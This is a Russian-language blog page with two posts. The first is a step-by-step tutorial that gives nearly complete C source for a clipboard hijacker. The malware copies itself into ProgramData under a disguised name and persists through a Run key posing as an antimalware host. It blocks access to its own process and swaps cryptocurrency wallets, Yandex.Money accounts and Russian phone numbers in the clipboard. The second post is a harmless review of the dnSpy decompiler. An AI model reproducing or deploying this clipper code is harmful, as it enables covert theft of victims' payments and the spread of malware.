2 заметки с тегом

Разработка

Пишем простой клиппер (Buffer Changer) на чистом C

Оказывается, это может быть кому-то интересно, да.

Сегодня мы напишем так называемый клиппер — незамысловатую малварь, которая будет сканировать буфер обмена на предмет различных кошельков и заменять их на нужные при необходимости.

Наш вирус будет уметь находить и подменять:

  1. Кошельки Monero, генерируемые биржей Poloniex
  2. Счета Яндекс.Деньги
  3. Номера в зоне RU (+7)

Заранее оговорюсь, что писать мы будем без излишнего мучения с регулярными выражениями и что код достаточно сырой.

Настройки проекта в Visual Studio

Писать мы будем на Си, а не на плюсах, поэтому настроить проект нужно соответствующе.

Ниже приведены настройки, которые в свое время я увидел на античате (линк), выражаю благодарность автору — slesh.

Свойства конфигурации -> С/С++ -> Оптимизация

  1. Оптимизация — Наименьший размер (/O1)
  2. Развертывать подставляемые функции — По умолчанию
  3. Включить подставляемые функции — Нет
  4. Предпочитать размер или краткость кода — Предпочитать краткость кода (/Os)
  5. Оптимизация всей программы — Включить создание кода во время компоновки (/GL)

Свойства конфигурации -> С/С++ -> Создание кода

  1. Включить объединение строк — Да (/GF)
  2. Включить С++ исключения — Нет
  3. Библиотека времени выполнения — Многопоточная (/MT)
  4. Проверка переполнения буфера — Нет (/GS-)

Свойства конфигурации -> С/С++ -> Предварительно скомпилированные заголовки

  1. Создавать или использовать предварительно скомпилированные заголовки — Не использовать предварительно скомпилированные заголовки

Свойства конфигурации -> С/С++ -> Дополнительно

  1. Компилировать как — Компилировать как C код (/TC)

Свойства конфигурации -> Компоновщик

  1. Ввод ->Игнорировать все стандартные библиотеки — Да (/NODEFAULTLIB)
  2. Файл манифеста ->Создавать Манифест — Нет
  3. Отладка -> Создавать отладочную информацию — Нет
  4. Дополнительно -> Точка входа — тут прописываем имя функции для точки входа
  5. Дополнительно -> Внесение случайности в базовый адрес — Отключить внесение случайности в образ (/DYNAMICBASE:NO)
  6. Дополнительно -> Фиксированный базовый адрес — Образ должен быть загружен по фиксированному адресу (/FIXED)

Входная точка приложения

Тут начинается наше приложение, для удобства используем WinMain — это входная точка WinApi приложений. Отрисовывать формы мы не будем, поэтому никакой визуальной активности не будет.

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
    if (isFileExists("C:\\ProgramData\\{95B4F0ED-951F-4D36-B068-5EC1C4C19C14}\\snmptrap.exe"))
    {
        if (strcmp(GetFullPath(), "C:\\ProgramData\\{95B4F0ED-951F-4D36-B068-5EC1C4C19C14}\\snmptrap.exe") == 0)
        {
            Mnemosyne();
        }
        else
        {
            ExitProcess(0);
        }
    }
    else
    {
        Install();
    }

ExitProcess(0);
}

Следующий код проверяет существование файла C:\ProgramData\{95B4F0ED-951F-4D36-B068-5EC1C4C19C14}\snmptrap.exe (путь к нашему вирусу на зараженной машине) — если путь запущенного EXE совпадает с рабочей директорией вируса, то запускается функция Mnemosyne (отвечающая за листинг и замену значений в буфере), иначе производится установка бота в систему.

Установка бота в систему

void Install()
{
    char thisExe[MAX_PATH] = "";

    CreateDirectory("C:\\ProgramData\\{95B4F0ED-951F-4D36-B068-5EC1C4C19C14}", NULL);
    GetModuleFileName(NULL, thisExe, MAX_PATH);
    CopyFile(thisExe, "C:\\ProgramData\\{95B4F0ED-951F-4D36-B068-5EC1C4C19C14}\\snmptrap.exe", TRUE);

    SetCurrentDirectory("C:\\ProgramData\\{95B4F0ED-951F-4D36-B068-5EC1C4C19C14}");
    ShellExecute(NULL, 0, "C:\\ProgramData\\{95B4F0ED-951F-4D36-B068-5EC1C4C19C14}\\snmptrap.exe", "", 0, SW_HIDE);
}

Функция создает рабочую директорию по пути C:\ProgramData\{95B4F0ED-951F-4D36-B068-5EC1C4C19C14}, копирует в неё запущенный EXE под именем snmptrap.exe и запускает скопированный файл.

Основной код программы

Именно тут мы осуществляем наши манипуляции с буфером обмена.

void Mnemosyne()
{
    HANDLE clip;
    char* pch;
    char* phone;
	
    DenyAccessToPId(GetCurrentProcessId()); // Запрещаем доступ к нашему процессу

    RegAdd(); // Добавляем в автозагрузку каждый раз при запуске, вдруг нас удалили

    while (TRUE)// выполняем в бесконечном цикле
    {
        // Получаем содержимое буфера обмена
        if (OpenClipboard(NULL)) 
        {
            clip = GetClipboardData(CF_TEXT);
            CloseClipboard();
        }

        pch = strstr(clip, "4JUdGzvrMFDWrUUwY3toJATSeNwjn54Lk"); // проверяем буфер обмена на Monero Poloniex кошелек - он всегда начинается с этого значения

        if (strlen(clip) == 15)
        {
            // если длина буфера 15 символов, то, возможно, это яндекс.деньги
            ChangeClipboard(_yandex_money(), strlen(_yandex_money()));
        }

        if (strlen(clip) == 12)
        {
            // если длина буфера 12 символов...
            phone = strstr(clip, "+79"); // RU phones

            if (phone) // ... и начинается с +79...  
            {
                ChangeClipboard(_phone(), strlen(_phone()));// ... то, возможно, это мобильный номер
            }
        }

        if (pch)
        {
            ChangeClipboard(_monero_poloniex(), strlen(_monero_poloniex()));// опознали Monero Poloniex, подменяем
        }

        Sleep(1000);// ждем 1 секунду и повторяем цикл
    }
}

Вспомогательные функции

char* _monero_poloniex()
{
    return "test";
}

char* _yandex_money()
{
    return "111111111111111";
}

char* _phone()
{
    return "+79111111111";
}

BOOL isFileExists(LPCTSTR szPath)
{
    DWORD dwAttrib = GetFileAttributes(szPath);
    return (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}

char* GetFullPath()
{
    wchar_t buffer[MAX_PATH];
    GetModuleFileName(NULL, buffer, MAX_PATH);

    return buffer;
}

void DenyAccessToPId(DWORD pId)
{
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pId);
    SECURITY_ATTRIBUTES sa;
    TCHAR * szSD = TEXT("D:P");
    TEXT("(D;OICI;GA;;;BG)");
    TEXT("(D;OICI;GA;;;AN)");
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.bInheritHandle = FALSE;

    ConvertStringSecurityDescriptorToSecurityDescriptor(szSD, SDDL_REVISION_1, &(sa.lpSecurityDescriptor), NULL);
    SetKernelObjectSecurity(hProcess, DACL_SECURITY_INFORMATION, sa.lpSecurityDescriptor);
}

void ChangeClipboard(wchar_t*str, int n)
{
    size_t len, i;
    HGLOBAL hMem;
    UINT uFormat;
    len = (n + 1)*(sizeof(wchar_t));
    hMem = GlobalAlloc(GMEM_MOVEABLE, len);
    memcpy(GlobalLock(hMem), str, len);
    GlobalUnlock(hMem);
    OpenClipboard(0);
    EmptyClipboard();
    uFormat = CF_TEXT;
    SetClipboardData(uFormat, hMem);
    CloseClipboard();
}

void RegAdd()
{
    HKEY hkey;

    RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hkey);
    RegSetValueEx(hkey, "Windows_Antimalware_Host_Syst", 0, REG_SZ, "C:\\ProgramData\\{95B4F0ED-951F-4D36-B068-5EC1C4C19C14}\\snmptrap.exe", 70);
    RegCloseKey(hkey);
}

Пробежимся по этим функциям:
_monero_poloniex — переменная, в которой будет храниться кошелек Monero, на который мы будем подменять найденное значение
_yandex_money — аналогично _monero_poloniex, но для Яндекс.Денег
_phone — номер, на который будем подменять найденное значение
isFileExists — функция, проверяющая существование файла в системе
GetFullPath — возвращает полный путь к запущенному процессу
DenyAccessToPId — изменяет DACL процесса для ограничения к нему доступа (актуально для Windows 7)
ChangeClipboard — изменяет значение буфера обмена
RegAdd — прописывает автозагрузку вируса в реестре в ветке HKCU

Ссылки

Исходный код
Уменьшение размера Си программы на примере Visual Studio

2017   Разработка

dnSpy — лучшая утилита для обратной разработки .NET приложений

Внезапный пост.

Долгое время я использовал dotPeek от JetBrains для декомпиляции .NET приложений.
К этому декомпилеру у меня была одна претензия — ну очень долгая загрузка и не лучшая оптимизация, поскольку на моих 8GB DDR3 и процессоре AMD A10 6700 это дело запускалось долго и нудно, не говоря уже о непосредственно декомпиляции программ.

Но, уходить было некуда, поэтому довольствовался тем, что имел, так сказать.

Однако, буквально сегодня утром наткнулся на просторах гитхаба на интересный репозиторий — dnSpy и оказалось, это то, что мне нужно!
Просто идеальная утилита для обратной разработки и тестирования .NET приложений.

Собственно, dotPeek:

А это найденное мною чудо — dnSpy:

Дизайн глазу приятнее, оптимизация на уровне(грузит в разы быстрее dotPeek’а).
И на этом прелести не заканчиваются.

dnSpy позволяет работать с PE-заголовками исполняемых файлов, показывает токены и офсеты каждой функции непосредственно в коде(!), так еще и декомпилирует код на порядок лучше dotPeek’а.

Яркий пример:
Как декомпилировал класс dotPeek:

Как с этим справился dnSpy:

И какой был код в исходном коде приложения:

Заключение

Для всех тех, кто ищет .NET декомпилятор и дебаггер в одном флаконе — однозначно советую dnSpy.
Мало того, что это ПО с открытым исходным кодом, так еще и работает получше коммерческого аналога.

2016   Разработка